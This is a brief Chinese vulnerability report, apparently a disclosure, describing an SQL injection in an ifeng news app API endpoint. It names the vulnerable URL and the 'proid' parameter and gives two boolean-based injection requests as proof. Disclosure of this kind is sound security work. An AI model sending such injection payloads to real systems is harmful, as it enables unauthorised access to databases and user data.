凤凰网某应用sql注入漏洞

凤凰新闻手机app的一个api接口过滤不严，存在注入漏洞。

注入点：http://api.iapps.ifeng.com/news/upgrade.json?gv=4.2.0&proid=ifengnews&os=android_19&screen=720x1206&publishid=2011&zip=1，受影响参数：proid

证明：

http://api.iapps.ifeng.com/news/upgrade.json?gv=4.2.0&proid=ifengnews' and '12'='12&os=android_19&screen=720x1206&publishid=2011&zip=1 返回正常数据

http://api.iapps.ifeng.com/news/upgrade.json?gv=4.2.0&proid=ifengnews' and '22'='12&os=android_19&screen=720x1206&publishid=2011&zip=1 返回数据异常
